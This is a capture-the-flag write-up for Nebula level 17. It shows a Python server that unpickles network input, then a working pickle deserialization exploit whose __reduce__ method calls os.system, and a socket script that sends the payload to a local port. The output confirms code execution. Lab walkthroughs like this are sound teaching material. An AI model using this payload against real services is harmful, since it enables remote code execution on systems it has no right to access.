Exploit-Education Nebula Level 17

1 minute read

Exploit Education Level 17

Challenge

There is a python script listening on port 10007 that contains a vulnerability.

To do this level, log in as the level17 account with the password level17. Files for this level can be found in /home/flag17.

Vulnerability

def server(skt):
  line = skt.recv(1024)

  obj = pickle.loads(line)

  for i in obj:
      clnt.send("why did you send me " + i + "?\n")

This program uses python pickle module. Pickle Module

The pickle module implements a fundamental, but powerful algorithm for serializing and de-serializing a Python object structure. “Pickling” is the process whereby a Python object hierarchy is converted into a byte stream, and “unpickling” is the inverse operation, whereby a byte stream is converted back into an object hierarchy.

We can see a warning in the same page.

Warning:The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.

So it is unsafe to unpicke untrusted data. We can see that in server function ,the program is unpickiling user provided data without any checks.

You can read more about this vulnerability here.

So the vulnerability is that we can run our own code since python is unpickiling our data.

Solution

We can write a python class that runs a script we control.

import os
class Exploit(object):
  def __reduce__(self):
    return (os.system,(('/tmp/run.sh'),))
obj=Exploit()
line=pickle.dumps(obj)

The __reduce__ function returns a tuple representing the command to be run. This tuple can be easily pickled.Additional information on reduce.
Essentially what this script does is, it returns the pickled format of the command we have to run. Here we are running the script /tmp/run.sh. The pickled result can used as the input for flag17 program.

level17@nebula:~$ nano /tmp/run.sh
level17@nebula:~$ chmod 777 /tmp/run.sh
level17@nebula:~$ cat /tmp/run.sh
getflag>/tmp/out

I am running geflag and writing the output to a file named /tmp/out. I also wrote a complete python script to send the pickled data.

#!/usr/bin/python

import pickle
import os
import socket
class Exploit(object):
  def __reduce__(self):
    return (os.system,(('/tmp/run.sh'),))
obj=Exploit()
line=pickle.dumps(obj)
HOST = "127.0.0.1"
PORT = 10007
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
s.connect((HOST,PORT))
s.recv(1024)
s.sendall(line)
print line

Lets run the script.

level17@nebula:~$ python pickle2
Accepted connection from 127.0.0.1:58290
cposix
system
p0
(S'/tmp/run.sh'
p1
tp2
Rp3
.

Check the output in /tmp/out

level17@nebula:~$ cat /tmp/out
You have successfully executed getflag on a target account

Solved!